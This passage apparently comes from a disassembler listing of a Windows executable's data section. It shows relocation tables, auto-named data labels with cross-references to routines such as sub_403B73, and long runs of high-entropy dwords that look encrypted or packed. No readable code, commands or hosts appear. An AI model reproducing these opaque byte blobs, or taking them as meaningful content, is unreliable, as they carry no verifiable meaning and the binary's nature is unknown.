3E183E10h, 3E3F3E1Dh, 3E6E3E58h, 3E853E78h dd 3EA23E96h, 3EB93EAAh, 3EDF3ED8h, 3EEA3EE5h, 3F1A3F05h dd 3F253F1Fh, 3F343F2Bh, 3F473F3Ch, 3F663F54h, 3F763F6Eh dd 3F8A3F7Eh, 3F9B3F94h, 3FA63FA1h, 3FC23FBAh, 3FDD3FD5h dd 3FF33FE9h, 3FFAh, 19000h, 100h, 30063000h, 301A300Fh dd 302B3023h, 30383030h, 3055303Ch, 3065305Ah, 3077306Ch dd 3087307Ch, 30AE30A7h, 30C630B5h, 311F30F6h, 3135312Fh dd 31523149h, 318A3171h, 31A5319Fh, 31DA31CDh, 31F031E9h dd 320231FAh, 3216320Dh, 32643240h, 32F432E2h, 33233316h dd 34133368h, 342F3423h, 34403436h, 34533448h, 3472345Ch dd 349D3490h, 354D34CAh, 35DF35B5h, 364F363Bh, 36AA369Dh dd 36E536C7h, 370536F3h, 37B637A6h, 37F537CFh, 38323822h dd 38743852h, 38B238A1h, 38FB38DFh, 39633958h, 3999398Bh dd 39DA39A1h, 3A5839ECh, 3A883A65h, 3AC63ABEh, 3B3E3B1Dh dd 3B703B4Ah, 3B823B7Dh, 3BE23B90h, 3C3B3C31h, 3D0E3D04h dd 3DA13D93h, 3E3D3DAFh, 3EA53E6Ch, 3EB23EABh, 3EBF3EB8h dd 3EEC3EC5h, 3F5B3EF2h, 3F6A3F64h, 3FF23FE5h, 3FFFh, 1A000h dd 7Ch, 3015300Bh, 3028301Dh, 30803051h, 312530A4h, 317A313Fh dd 321131EEh, 32553248h, 332832A7h, 33AA337Fh, 34C63488h dd 3599355Fh, 361D35B4h, 37E837AEh, 38553822h, 38713865h dd 3883387Bh, 3897388Eh, 38CB38ADh, 394338DCh, 39853963h dd 39A13992h, 39B339ABh, 39C739BEh, 39FE39EDh, 3A8F3A6Dh dd 3DAE3AB5h, 3DD23DC9h, 3E693E61h, 3EA33E72h, 1B000h dd 0E0h, 30413020h, 30A53079h, 30FA30DCh, 311030FFh, 314A3126h dd 316B314Fh, 31BB3192h, 3254324Ch, 326D325Eh, 3280327Ah dd 3299328Ah, 32CD32B4h, 32FB32DAh, 336C3321h, 339D3393h dd 33C733AAh, 33DD33D2h, 342D3404h, 34453438h, 346D3462h dd 34BD3485h, 34DE34CDh, 357134F6h, 358F3587h, 35A53595h dd 35EE35C9h, 360E35FEh, 362F3624h, 36553647h, 3670365Ch dd 375736D4h, 37893780h, 381037A7h, 383D3831h, 38973852h dd 38AE38A4h, 38DE38B3h, 39E839D7h, 3A9A39FDh, 3ADC3AA2h dd 3B463AF1h, 3C683C2Eh, 3CD23C7Dh, 3CE83CDDh, 3CFE3CF3h dd 3D173D04h, 3D263D1Eh, 3D333D2Dh, 3D463D3Bh, 3DE33D6Eh dd 3F453F28h, 3F723F67h, 3FB03FA0h, 3FE23FDAh, 1C000h dd 0DCh, 30103000h, 30273022h, 31B030A3h, 324331D0h, 325B3250h dd 32953261h, 33AE334Eh, 34B53490h, 35A934F0h, 35D935BBh dd 362A35F9h, 36823651h, 36A13691h, 36C136B1h, 3753370Ah dd 37893773h, 37D437B4h, 380937E9h, 38753829h, 38A43881h dd 38FC38E3h, 39393919h, 39793967h, 39C939ADh, 3A0939E9h dd 3A493A29h, 3A813A6Ch db 99h ; ™ db 3Ah, 0C4h, 3Ah db 0D9h ; Ù db 3Ah, 0FCh, 3Ah db 24h ; $ db 3Bh, 47h, 3Bh db 59h ; Y db 3Bh, 71h, 3Bh db 94h ; ” db 3Bh, 0A9h, 3Bh db 0C9h ; É db 3Bh, 0FFh, 3Bh db 32h ; 2 db 3Ch, 4Ch, 3Ch db 94h ; ” db 3Ch, 0B9h, 3Ch db 0CBh ; Ë db 3Ch, 0DDh, 3Ch db 0EFh ; ï db 3Ch, 14h, 3Dh db 26h ; & db 3Dh, 64h, 3Dh db 80h ; € db 3Dh, 94h, 3Dh db 9Eh ; ž db 3Dh, 0B6h, 3Dh db 0C3h ; à db 3Dh, 0C8h, 3Dh db 0CEh ; Î db 3Dh, 0D2h, 3Dh db 0D7h ; × db 3Dh, 0DDh, 3Dh db 0EAh ; ê db 3Dh, 0EFh, 3Dh db 0F9h ; ù db 3Dh, 5, 3Eh db 0Fh db 3Eh, 1Bh, 3Eh db 25h ; % db 3Eh, 31h, 3Eh db 3Dh ; = db 3Eh, 47h, 3Eh db 53h ; S db 3Eh, 64h, 3Eh db 70h ; p db 3Eh, 7Bh, 3Eh db 7Fh ; aEPSGN db '>…>>™>£>>',0 db 0D0h, 1, 0 db 60h ; ` db 1, 2 dup(0) db 80h ; € db 32h, 88h, 32h db 90h ; db 32h, 98h, 32h db 0A4h ; ¤ db 32h, 0C0h, 32h db 0D8h ; Ø db 32h, 0ECh, 32h db 4Ch ; L db 34h, 50h, 34h db 54h ; T db 34h, 58h, 34h db 5Ch ; \ db 34h, 60h, 34h db 64h ; d db 34h, 68h, 34h db 6Ch ; l db 34h, 70h, 34h db 74h ; t db 34h, 78h, 34h db 0E4h ; ä db 34h, 0E8h, 34h db 0F0h ; ð db 34h, 0F8h, 34h db 0 db 35h, 8, 35h db 14h db 35h, 30h, 35h db 48h ; H db 35h, 5Ch, 35h db 40h ; @ db 36h, 48h, 36h db 50h ; P db 36h, 58h, 36h db 64h ; d db 36h, 80h, 36h db 98h ; ˜ db 36h, 0ACh, 36h db 0ACh ; ¬ db 38h, 0B4h, 38h db 0BCh ; ¼ db 38h, 0C4h, 38h db 0D0h ; Ð db 38h, 0ECh, 38h db 4 db 39h, 18h, 39h db 0D4h ; Ô db 3Bh, 0D8h, 3Bh db 4 db 3Ch, 8, 3Ch db 0Ch db 3Ch, 10h, 3Ch db 14h db 3Ch, 18h, 3Ch db 1Ch db 3Ch, 20h, 3Ch db 24h ; $ db 3Ch, 28h, 3Ch db 2Ch ; , db 3Ch, 30h, 3Ch db 44h ; D db 3Ch, 5Ch, 3Ch db 60h ; ` db 3Ch, 64h, 3Ch db 68h ; h db 3Ch, 6Ch, 3Ch db 70h ; p db 3Ch, 74h, 3Ch db 78h ; x db 3Ch, 7Ch, 3Ch db 80h ; € db 3Ch, 8Ch, 3Ch db 90h ; db 3Ch, 94h, 3Ch db 98h ; ˜ db 3Ch, 9Ch, 3Ch db 0A0h ; db 3Ch, 0A4h, 3Ch db 0A8h ; ¨ db 3Ch, 0ACh, 3Ch db 0D4h ; Ô db 3Ch, 0E0h, 3Ch db 0E4h ; ä db 3Ch, 0E8h, 3Ch db 0ECh ; ì db 3Ch, 0F0h, 3Ch db 0F4h ; ô db 3Ch, 0F8h, 3Ch db 0FCh ; ü db 3Ch, 0, 3Dh db 4 db 3Dh, 8, 3Dh db 0Ch db 3Dh, 10h, 3Dh db 14h db 3Dh, 18h, 3Dh db 1Ch db 3Dh, 20h, 3Dh db 24h ; $ db 3Dh, 28h, 3Dh db 2Ch ; , db 3Dh, 30h, 3Dh db 34h ; 4 db 3Dh, 38h, 3Dh db 3Ch ; < db 3Dh, 40h, 3Dh db 44h ; D db 3Dh, 48h, 3Dh db 50h ; P db 3Dh, 54h, 3Dh db 58h ; X db 3Dh, 5Ch, 3Dh db 60h ; ` db 3Dh, 64h, 3Dh db 68h ; h db 3Dh, 6Ch, 3Dh db 70h ; p db 3Dh, 74h, 3Dh db 78h ; x db 3Dh, 7Ch, 3Dh db 80h ; € db 3Dh, 84h, 3Dh db 88h ; ˆ db 3Dh, 8Ch, 3Dh db 90h ; db 3Dh, 94h, 3Dh db 98h ; ˜ db 3Dh, 0A4h, 3Dh db 0A8h ; ¨ db 3Dh, 0ACh, 3Dh db 0B0h ; ° db 3Dh, 0B4h, 3Dh db 0B8h ; ¸ db 3Dh, 0BCh, 3Dh db 10h db 3Eh, 14h, 3Eh db 18h db 3Eh, 1Ch, 3Eh db 20h db 3Eh, 24h, 3Eh db 28h ; ( db 3Eh, 2Ch, 3Eh db 30h ; 0 db 3Eh, 34h, 3Eh db 38h ; 8 db 3Eh, 3Ch, 3Eh db 40h ; @ db 3Eh, 44h, 3Eh db 48h ; H db 3Eh, 4Ch, 3Eh db 50h ; P db 3Eh, 54h, 3Eh db 58h ; X db 3Eh, 5Ch, 3Eh db 60h ; ` db 3Eh, 64h, 3Eh db 68h ; h db 3Eh, 6Ch, 3Eh db 70h ; p db 3Eh, 74h, 3Eh db 78h ; x db 3Eh, 7Ch, 3Eh db 80h ; € db 3Eh, 84h, 3Eh db 88h ; ˆ db 3Eh, 8Ch, 3Eh db 0DCh ; Ü db 3Eh, 0E0h, 3Eh db 0E4h ; ä db 3Eh, 0E8h, 3Eh db 0ECh ; ì db 3Eh, 0F0h, 3Eh db 0 db 0E0h, 1, 0 db 0C8h ; È align 4 db 40h ; @ db 30h, 48h, 30h db 50h ; P db 30h, 58h, 30h db 60h ; ` db 30h, 68h, 30h db 70h ; p db 30h, 78h, 30h db 80h ; € db 30h, 88h, 30h db 90h ; db 30h, 98h, 30h db 0A0h ; db 30h, 0A8h, 30h db 0E0h ; à db 30h, 0E4h, 30h db 0E8h ; è db 30h, 0ECh, 30h db 0F0h ; ð db 30h, 0F4h, 30h db 0F8h ; ø db 30h, 0FCh, 30h db 0 db 31h, 4, 31h db 8 db 31h, 34h, 31h db 38h ; 8 db 31h, 44h, 31h db 48h ; H db 31h, 58h, 31h db 5Ch ; \ db 31h, 60h, 31h db 70h ; p db 31h, 0A0h, 31h db 0B0h ; ° db 31h, 0C0h, 31h db 0D0h ; Ð db 31h, 0DCh, 31h db 0E0h ; à db 31h, 0F0h, 31h db 0 db 32h, 10h, 32h db 20h db 32h, 30h, 32h db 40h ; @ db 32h, 50h, 32h db 60h ; ` db 32h, 6Ch, 32h db 78h ; x db 32h, 88h, 32h db 8Ch ; Œ db 32h, 90h, 32h db 94h ; ” db 32h, 0ACh, 32h db 0B0h ; ° db 32h, 0B4h, 32h db 0BCh ; ¼ db 32h, 0C0h, 32h db 0B4h ; ´ db 34h, 0B8h, 34h db 0C4h ; Ä db 34h, 0C8h, 34h db 0D4h ; Ô db 34h, 0D8h, 34h db 0E8h ; è db 34h, 0F0h, 34h db 0F4h ; ô db 34h, 0FCh, 34h db 0 db 35h, 10h, 35h db 18h db 35h, 1Ch, 35h db 24h ; $ db 35h, 28h, 35h db 38h ; 8 db 35h, 44h, 35h db 90h ; db 35h, 0B8h, 35h db 0C8h ; È db 35h, 0D4h, 35h db 0D8h ; Ø db 35h, 0E0h, 35h db 0E4h ; ä db 35h, 0C0h, 37h db 0D8h ; Ø db 37h, 0F0h, 3Ch db 0 db 3Dh, 10h, 3Dh a0@PLP db ' =0=@=P=\=`=l=p=',0 db 0F0h, 1, 0 dd 130h, 31E431B0h, 31F431E8h, 333431F8h, 3360333Ch, 338C3368h dd 33B83394h, 33E433C0h, 341033ECh, 343C3418h, 34683444h dd 34943470h, 34C0349Ch, 34EC34C8h, 351834F4h, 35443520h dd 3570354Ch, 359C3578h, 35C835A4h, 35F435D0h, 362035FCh dd 364C3628h, 36783654h, 36A43680h, 36D036ACh, 36FC36D8h dd 37283704h, 37543730h, 3780375Ch, 37AC3788h, 395837B4h dd 39683960h, 39783970h, 39883980h, 39983990h, 39A839A0h dd 39B839B0h, 39C839C0h, 39D839D0h, 39E839E0h, 39F839F0h dd 3A083A00h, 3B103B08h, 3B203B18h, 3B303B28h, 3B403B38h dd 3B503B48h, 3B603B58h, 3B703B68h, 3B803B78h, 3B903B88h dd 3BA03B98h, 3BB03BA8h, 3BC03BB8h, 3BD03BC8h, 3BE03BD8h dd 3BF03BE8h, 3C003BF8h, 3C103C08h, 3C203C18h, 3C303C28h dd 3C403C38h, 3C503C48h, 3C603C58h, 3C703C68h, 3C803C78h dd 3C903C88h, 3CA03C98h, 3CB03CA8h, 3CC03CB8h, 3CD03CC8h dd 3CE03CD8h, 3CF03CE8h, 3D003CF8h, 3D08h, 20000h, 1E4h dd 31483144h, 31583154h, 31643160h, 31803170h, 319C3190h dd 31B831A8h, 31D431C8h, 31E031D8h, 31EC31E4h, 323C31F0h dd 324C3240h, 32583250h, 3260325Ch, 32683264h, 3270326Ch dd 32C03274h, 32C832C4h, 32D032CCh, 32D832D4h, 32E032DCh dd 3380337Ch, 33883384h, 33A83398h, 33C833B8h, 33E833D8h dd 3430342Ch, 348C3474h, 34B034A0h, 34B834B4h, 34E434D0h dd 34F834F4h, 351434FCh, 352C3518h, 3540353Ch, 355C3544h dd 35783574h, 359C358Ch, 35A435A0h, 35C035BCh, 35E435D4h dd 35EC35E8h, 36083604h, 3620360Ch, 36343630h, 36503638h dd 36683654h, 367C3678h, 36983680h, 36A0369Ch, 36C436B4h dd 36CC36C8h, 36E836E4h, 370036ECh, 37143710h, 37303718h dd 37543744h, 375C3758h, 37783774h, 379C378Ch, 38C437A0h dd 38D438CCh, 38E438DCh, 38F438ECh, 390438FCh, 3914390Ch dd 39383920h, 395C3944h, 39803968h, 39AC399Ch, 39C039B4h dd 39E439D8h, 3A0439FCh, 3A283A10h, 3A383A30h, 3A743A44h dd 3A943A88h, 3AC43A9Ch, 3AE43AD8h, 3B143AECh, 3B343B28h dd 3B643B3Ch, 3B843B78h, 3B9C3B8Ch, 3BAC3BA4h, 3BBC3BB4h dd 3BD03BC4h, 3BF03BE8h, 3C003BF8h, 3C103C08h, 3C343C1Ch dd 3C483C3Ch, 3C6C3C60h, 3C8C3C84h, 3CB03C98h, 3CC43CB8h dd 3CE83CDCh, 3D0C3D00h, 3D303D24h, 3D503D48h, 3D743D5Ch dd 3D843D7Ch, 3D943D8Ch, 3DD03DA0h, 3DF03DE4h, 3E103DF8h dd 3E303E20h, 3E503E44h, 3E683E58h, 3E783E70h, 3E9C3E84h dd 3EC03EA8h, 3EE43ECCh, 3F083EF0h, 3F2C3F14h, 3F503F38h dd 3F843F70h, 3F983F90h, 3FB43FA8h, 3FEC3FCCh, 21000h dd 100h, 300C3000h, 30243014h, 30483030h, 306C3054h, 30903078h dd 30DC309Ch, 310030ECh, 31203114h, 31383128h, 3154314Ch dd 31703168h, 317C3174h, 318C3184h, 31B03198h, 31C431B8h dd 31E831DCh, 32083200h, 322C3214h, 32403234h, 32643258h dd 32B432A4h, 32DC32C8h, 32F032E8h, 330C3300h, 332C3324h dd 3360334Ch, 3374336Ch, 33903384h, 33B033A8h, 33C433B8h dd 33F433DCh, 341C33FCh, 3440342Ch, 34603454h, 34783468h dd 349C3484h, 34B034A4h, 34DC34C8h, 34F834E4h, 35043500h dd 35103508h, 35203518h, 35303528h, 3554353Ch, 35783560h dd 3594358Ch, 35B035A8h, 35B835B4h, 35C835C0h, 35DC35D0h dd 360035F4h, 362C3618h, 36383634h, 3644363Ch, 3654364Ch dd 3664365Ch, 36883670h, 36AC3694h, 36BC36B4h, 36CC36C4h dd 36F036D8h, 370436F8h, 23000h, 148h, 30083004h, 3010300Ch dd 30183014h, 3020301Ch, 302C3024h, 303C3038h, 30443040h dd 305C3050h, 30743070h, 30983094h, 30A0309Ch, 30A830A4h dd 30B030ACh, 30C030B4h, 30DC30C4h, 312030F4h, 31403138h dd 31483144h, 32C832B8h, 32D432CCh, 34183410h, 3420341Ch dd 34283424h, 3430342Ch, 34383434h, 3440343Ch, 34483444h dd 3450344Ch, 35C03454h, 35C835C4h, 390435D0h, 3914390Ch dd 3924391Ch, 3934392Ch, 3944393Ch, 3954394Ch, 3964395Ch dd 3974396Ch, 3984397Ch, 3994398Ch, 3AA03A9Ch, 3AA83AA4h dd 3AB03AACh, 3AB83AB4h, 3AC03ABCh, 3AC83AC4h, 3AD03ACCh dd 3AD83AD4h, 3AE03ADCh, 3AE83AE4h, 3AF03AECh, 3AF83AF4h dd 3B003AFCh, 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch dd 3B283B24h, 3B303B2Ch, 3B383B34h, 3B403B3Ch, 3B483B44h dd 3B603B5Ch, 3B683B64h, 3B703B6Ch, 3B783B74h, 3B803B7Ch dd 3C303B8Ch, 3CC43C34h, 3CFC3CE0h, 3D443D1Ch, 3D843D64h dd 3DA83DA4h, 3DB03DACh, 3DB83DB4h, 3DC03DBCh, 3DC83DC4h dd 3DD03DCCh, 3DD83DD4h, 3E003DE0h, 205h dup(0) off_416188 dd offset off_416188 ; DATA XREF: sub_403B73+9Dw ; .data:off_416188o off_41618C dd offset loc_40EA3C+3 ; DATA XREF: sub_403B73+95w off_416190 dd offset loc_40EA3C+3 ; DATA XREF: sub_403B73+90w align 8 dword_416198 dd 10h dup(0) ; DATA XREF: sub_403849+52o dword_4161D8 dd 1C297h ; DATA XREF: sub_403849+36r ; sub_4038D5+10Br ... align 10h dword_4161E0 dd 6B5F5695h, 7F1456DBh, 0E1DF204Eh, 7190504Ch, 67FA6AAh ; DATA XREF: sub_403B73:loc_403C30o ; sub_403B73:loc_403D5Ao dd 846CB36Bh, 4A1EDD24h, 742E637h, 0FB641E69h, 4B26563Ah dd 0D4E495D9h, 0C187B1Bh, 32306306h, 0D55401F6h, 2C7237A2h dd 6E4B257Fh, 998C8D92h, 739D837Eh, 0A43B64AFh, 3FC1EC19h dd 0FE7BDEFBh, 0D7BBF39Fh, 0F869C0ADh, 6700EB96h, 0F5F7C9BEh dd 0B2BF7C0Ah, 3935D4BCh, 0D83CAE0h, 706B5E78h, 3637D0EBh dd 61D07EF9h, 0E3ADEF8Eh, 0DC070A39h, 13C62291h, 6DFBECE6h dd 0E0D604F8h, 0AFA3B953h, 6811E055h, 0B0FE0A1Ah, 7CB2BCB2h dd 6E7C0EE7h, 1DBB8B41h, 9F1CB238h, 157C1EF1h, 0C2659E78h dd 65654AA3h, 3CB57C99h, 0EC395D17h, 9A313608h, 8BFAFB2Eh dd 0F86B01FAh, 5B9CA6BAh, 0D8F1BECEh, 0E7AD59B2h, 0CEA3ACF9h dd 617ACAB4h, 9938F7FCh, 204E25FCh, 9070F309h, 0BA2C2EBEh dd 34719376h, 0CF8DA68Ah, 0AE58FF98h, 0F178CD75h, 5BF9AE62h dd 0D2CF8E3Ch, 6C39A43Eh, 54CDB6B9h, 0BF694625h, 90469530h dd 66E726C0h, 0F2A6CAEFh, 0E57505E0h, 27432BC4h, 0B38C9D41h dd 0C1C76762h, 77D37192h, 8D44AEB9h, 9157505Ah, 72D72478h dd 0F0EBE839h, 7F4C3301h, 2EA269C7h, 76E3A330h, 0D2F653D9h dd 4B38A9D7h, 61C62F73h, 6675B5E0h, 3C025858h, 63F8732Bh dd 0C5CE4C32h, 2983FA14h, 1738E964h, 44A34E3h, 0A51833CCh dd 18F30FD0h, 0C3F4DF0Fh, 0DBA298A1h, 8B4DE7B2h, 75F72E7Bh dd 0D8EA1573h, 0AADA2878h, 0E9B6C69Bh, 10CE2DB3h, 0EA1B709Bh dd 0B20C6B8Bh, 0F4B1EB6Ch, 4B4F8937h, 79656277h, 0BB696021h dd 542951F0h, 0EFC78C7Eh, 0C78B214Eh, 797864E2h, 34F4C302h dd 8624431Eh, 0C7967117h, 2D28B0E3h, 536996E3h, 0B6D554F3h dd 5184CE39h, 834FBB93h, 7CB71D4Eh, 9C73E6B7h, 88567D0Bh dd 0F61064E3h, 0A310A32Fh, 0CE18B289h, 65F1DBC5h, 0E12448E1h dd 9E92BC2Ah, 0F30F2CD3h, 0F796A134h, 0F58C41E3h, 3F886180h dd 0B7FE69A3h, 60B02334h, 9905C983h, 2C89C151h, 92B14F49h dd 44218E65h, 157BD0Bh, 8DAF4DB7h, 3D95AEE1h, 6E4B3DA5h dd 45C7D7E0h, 992D863Eh, 2AD55B82h, 552A56B5h, 46D3CA37h dd 6E5BE4DBh, 0BAFA6D93h, 3FA2C155h, 566648F8h, 0FBBDDD4Ah dd 0B4C9AE50h, 5658F81Bh, 638F3FB4h, 82DDCA57h, 7AB37B87h dd 8B31BF50h, 0C9E1B7h, 0F032C72Ch, 8464A723h, 2F0FDF53h dd 0C7213CC4h, 59DBBCB3h, 7CA31632h, 6CA03CA2h, 6F37090Bh dd 33FE6A81h, 0A2224B9Ch, 0B50615AEh, 0C079F055h, 8A8509A8h dd 84E39CF1h, 141CB13Eh, 0A514F5DAh, 41BB4F6h, 0D0D8B30h dd 0B34245AAh, 661AFE56h, 0E12E8899h, 86CC20F5h, 93D86797h dd 1B7E2D2Ch, 8D634C70h, 0F2217423h, 69B3CE30h, 0AB4E1679h dd 0A14AB7C5h, 0FB311EEBh, 1335350Ah, 118D5C3h, 4B9AE05h dd 64F4101h, 0D70D5A48h, 74C75CF1h, 759AABFCh, 34106A92h dd 0FB045A09h, 3826D04h, 6C086F82h, 43810E82h, 2DF04870h dd 8F02701h, 0C12E827Ch, 824BC111h, 0D277E6EFh, 1040E92Fh dd 3214A219h, 2708E045h, 0D4844DF4h, 7A3B0515h, 6DD66DB6h dd 3DCEF746h, 0F9D15E2Ch, 70F1B3FBh, 0E750ECCh, 4A28606Fh dd 0F092E871h, 9BC341F5h, 542A96FAh, 15459C39h, 566153FEh dd 0C952B9A3h, 24858C0h, 982EEA66h, 7140E171h, 50B880E1h dd 0E44B8F46h, 646E7C81h, 33E338C0h, 8032BBC3h, 30F69EEBh dd 6EEE195Dh, 0C62C0957h, 24BF934Eh, 0AA4BDFF7h, 4B2A0A83h dd 6E352D12h, 29192216h, 0F9E17F78h, 157D29FAh, 0DD298346h dd 908E902Ch, 0DDE0F13Dh, 0A3330690h, 567A629Bh, 1FE4E08Eh dd 61D24814h, 0DED38E7Ch, 0FDBAFD02h, 287C1507h, 0F957BC3Fh dd 0F597495Fh, 891C39FDh, 0E270DD4Ch, 4D892A74h, 8A189197h dd 7BC9933Fh, 243E45F9h, 0F9B394C1h, 0CD055F23h, 7CF6DA68h dd 52B5E4ECh, 5EDB336Bh, 0E915F378h, 0DCB8B7CBh, 13525295h dd 0B18E94F5h, 7F8E7015h, 8E2DB60Eh, 0F0BE2EA2h, 0EE8F801Bh dd 0D2FB36B3h, 5B257DA4h, 0B469D81Ah, 0C506FD5Dh, 0DABD2CC2h dd 0C3C2FBCAh, 0D7A67A6Dh, 0FFCF496Ch db 2 byte_41664D db 49h, 3Eh, 43h ; DATA XREF: .data:off_40C5D8o dd 0D0A720DEh, 0FBA40A6h, 26E3405Fh, 355F2615h, 2FC8289h dd 0EFE0A0A1h, 86ED09Ah, 0DC96DB1Ch, 6CA73097h, 4F103E4h dd 4E4FD233h, 8C109F26h, 32D6097Dh, 0AE680165h, 0B6080BB0h dd 0A5645E73h, 0D1FCB972h, 87523844h, 80D37BACh, 20775E9Fh dd 74A6D524h, 7639C79Dh, 628D7EFCh, 0B8CFBA5Ch, 0E82CA137h dd 76863BF2h, 604BEE5Ch, 858EEBEAh, 5F23F27Dh, 0EF819D80h dd 0A3C5E210h, 0DAB85D6Ah, 0FE042F27h, 7A247C6Ah, 0E51958Bh dd 0AB554831h, 60182982h, 69B554C6h, 7C2A9595h, 0E1E25431h dd 8EBE094h, 0B309BF94h, 70B1FD5h, 10C8F98Eh, 427E01FAh dd 6A7C420h, 0EE2674AEh, 5CD7B09Bh, 1854BA52h, 0D85D7041h dd 14C04707h, 0BE433F73h, 3CB8A71Bh, 0FA4954DBh, 0F4D0D7E4h dd 0F0F91980h, 0E2029E18h, 4C4B8036h, 2481E26Bh, 7B941A76h dd 242AA8C4h, 5B60B534h, 213AA311h, 0FBF17D5Dh, 0FA698616h dd 0E3144686h, 1BFFD80Bh, 291A0AFEh, 66D13EE0h, 747AE3E5h dd 9B76579Eh, 0F0312721h, 0C5993E99h, 3D3F65C5h, 6333F27Fh dd 24A290F4h, 69D8AB14h, 72E9F860h, 200A86A3h, 544C0B6Fh dd 0F1B5A70Ch, 4F8A4271h, 0F6DE8D3Dh, 26A2144Dh, 0D642F139h dd 5B5B5E2Dh, 0C6F665DFh, 0E5C72F96h, 0C87C5FBh, 5C813E3Ah dd 32240F93h, 38FE578Ch, 0D7CA7D11h, 0AA8E20Ch, 0CA2F411Eh dd 0C3C53F0Ch, 0B27C3D1Bh, 95EA9847h, 43B014E5h, 86CF500Bh dd 1349431Ch, 0A2427547h, 0A965AE57h, 0D222BF83h, 0BBF8F89Dh dd 326572BCh, 0BFCB2E82h, 3E394EBEh, 66E6ED75h, 0C324B05Ch dd 6A9B3417h, 49EBF82h, 831D8203h, 0E9000F97h, 0BE0D205Eh dd 24AF108Ah, 24754166h, 39149301h, 6A42A71Eh, 494E801h dd 49C3CAFh, 8EBBE400h, 0F2E39077h, 2DABA1CFh, 8867C25Dh dd 81309D0Eh, 0C6132688h, 0D6013E32h, 1A9AC0B4h, 514F8B3Ah dd 0EB7093EDh, 0D4B181CFh, 2138C068h, 5631ABC1h, 6698E6BFh dd 81E28F6Eh, 7D78A570h, 0AEE392E3h, 124F0168h, 0AEB7E4C6h dd 86C210AAh, 0AB50C3E5h, 0B2E4B0C2h, 73604C8h, 0A242CB21h dd 9D4574FBh, 5D9F0CE4h, 92CF8D34h, 4A8A059Fh, 66F27688h dd 22AB83C4h, 58D55243h, 2C2BB6CCh, 5D7B74FBh, 24307B2Ch dd 0DFB1E746h, 0F24B0FDEh, 1A7945DBh, 4CE316BFh, 0C5CF878Bh dd 0BF87AA7Ah, 361E3CDh, 0CFFCE113h, 0ED477EBAh, 97630458h dd 6844FAFEh, 0BB998A9h, 0B56F3E63h, 30C09CECh, 0FEFA0511h dd 847BBA5Dh, 6C6BE48Ch, 25E819F7h, 0F76C630Bh, 7E446849h dd 0D7E98F06h, 63A8C3A7h, 4042E2D0h, 220DF811h, 0DAB701FEh dd 131AEC97h, 9527E88Ch, 0A98CD8D4h, 0EA325EA0h, 0B1E760EFh dd 791348DDh, 22C04682h, 0F787A37Eh, 944E7879h, 457BF8B3h dd 0C93E2EF9h, 8E7611E3h, 0A5391E9Ch, 0EDE2C1B4h, 35F27242h dd 161618A1h, 0C9D5950Ah, 0C76B93D7h, 75DCD594h, 0A02F2A0Eh dd 7254858Bh, 0EF229C84h, 7CD117C8h, 63B51C8Ah, 0AC5DB9EDh dd 0B9F6FAE3h, 0BAE3A24Ah, 0C2001330h, 0A2542E74h, 0D1750164h dd 0A9A7EA0Dh, 0CBB201B1h, 71D67ED8h, 2E23EDBDh, 0CD9C24F4h dd 60EADE33h, 0C8350780h, 9AE128B9h, 0B3B4EBE0h, 866A9471h dd 0EAD051D8h, 5160AAFBh, 1BAFAFDFh, 3B7A2E57h, 1F662195h dd 497DB9B8h, 7686D1FEh, 3A1B0108h, 4B47FA67h, 0BCEEE5B1h dd 0B4369D0Bh, 102D3B0Ah, 3FD6781Bh, 8A4F873Ah, 0C1768A85h dd 0BDCD37B4h, 872B3250h, 0B3F81355h, 23233ECAh, 2E8A3A3Fh dd 0E07698E3h, 1B97B66h, 7B54B55Fh, 941DAA5Eh, 0DAA5876Ah dd 0BC8AEE31h, 73368A33h, 0F2C97241h, 0A1F9B483h, 0EFF5A01Ch dd 0DCF81724h, 0BA23A4F3h, 0D5C976EFh, 25EC1ECFh, 0E71D6747h dd 3A6462BDh, 0F12316EFh, 0FC25ACFCh, 0C1923164h, 0EF41F206h dd 0F1E75C47h, 8D711C40h, 39070D1h, 61B6CC7Dh, 4876A90Dh dd 890B9BB9h, 7A831Dh, 4EFD9622h, 54CC04A8h, 0A2B1A739h dd 0F38AC418h, 0CFF5712Ah, 60E9F30Ah, 89A86750h, 2DBB4B0Fh dd 6F220470h, 9971CF41h, 863EE4B8h, 0FA68EE11h, 1BB33831h dd 7A48717Eh, 0F4898F0Ah, 8A925214h, 14DBA0C1h, 8702683Ch dd 3ACDA52Ch, 0CEE0F40Eh, 944CA7A5h, 759F0522h, 784BB560h dd 753E12E3h, 1543B089h, 66458C3Eh, 0EE30B855h, 0EB881B3Fh dd 0E64BA142h, 0AA9C7C6Bh, 0CA40069Dh, 34628EEh, 0BE1AE5C7h dd 67EEC94h, 79847038h, 208EB913h, 35C733E1h, 8D3D28DEh dd 0DDBD4250h, 6DFC4D4Fh, 1576D93Eh, 21CF8887h, 4A352FE4h dd 4E3478A2h, 405868A2h, 0DC414575h, 9DB62D11h, 0ED9C759Fh dd 6AC80BFEh, 977DDB09h, 5A16568Eh, 0D1E99605h, 4BF1A7ACh dd 0EF217944h, 9A69A484h, 93F22728h, 1EB1ECF0h, 6DC604DEh dd 0D2512E6Bh, 524ACD9Ah, 363141B3h, 0E6B8949Bh, 0B1DC55ACh dd 318AC2D2h, 985BF036h, 18AE913Dh, 0AB9E8D79h, 48FCE512h dd 0F2C18EDh, 0B9E5851Ah, 23A93281h, 579C762Ah, 75FA40D9h dd 69DFCAB4h, 0D3D5B6Eh, 87C7C65Bh, 2A42E9EAh, 82D03637h dd 61E8D8EEh, 46053FBBh, 0AB443AA1h, 83801540h, 3CAF2675h dd 693D0463h, 0E91AD40h, 0EED9B8A2h, 0B9FDE47Ch, 7AD0BC4Ah dd 0AA2BECE5h, 84573E2Ah, 0B977691Dh, 0ED233289h, 7646A0F6h dd 0DD93A017h, 94AB3A8Dh, 2782BE3Fh, 0F0C4B085h, 15804470h dd 0A34C4E46h, 0C62A901Bh, 43818B22h, 0F43159B0h, 8C406E7Bh dd 407BB156h, 0A2FB2A3Fh, 702A71BFh, 84481D9Ch, 7183508Ah dd 0F53B86B8h, 0E3625D60h, 0E362318h, 20249131h, 0AEA8EF1Ch dd 0D855C8E1h, 234CCC6Ch, 0AC5B419Fh, 7F235318h, 22170680h dd 0CE87C315h, 631D8BC6h, 4728B06Ah, 9EEE83DAh, 0C086264Fh dd 0A1A62B4Eh, 1BE07A5Dh, 0CF693A90h, 2908C04Ch, 5E545741h dd 8C0EE10Ch, 263AE419h, 0FAA4C9EDh, 4A7A0E1Dh, 242E1A61h dd 0D9926019h, 563D81B8h, 6C03F9F4h, 0D82E0777h, 7708C431h dd 0C1A1DD03h, 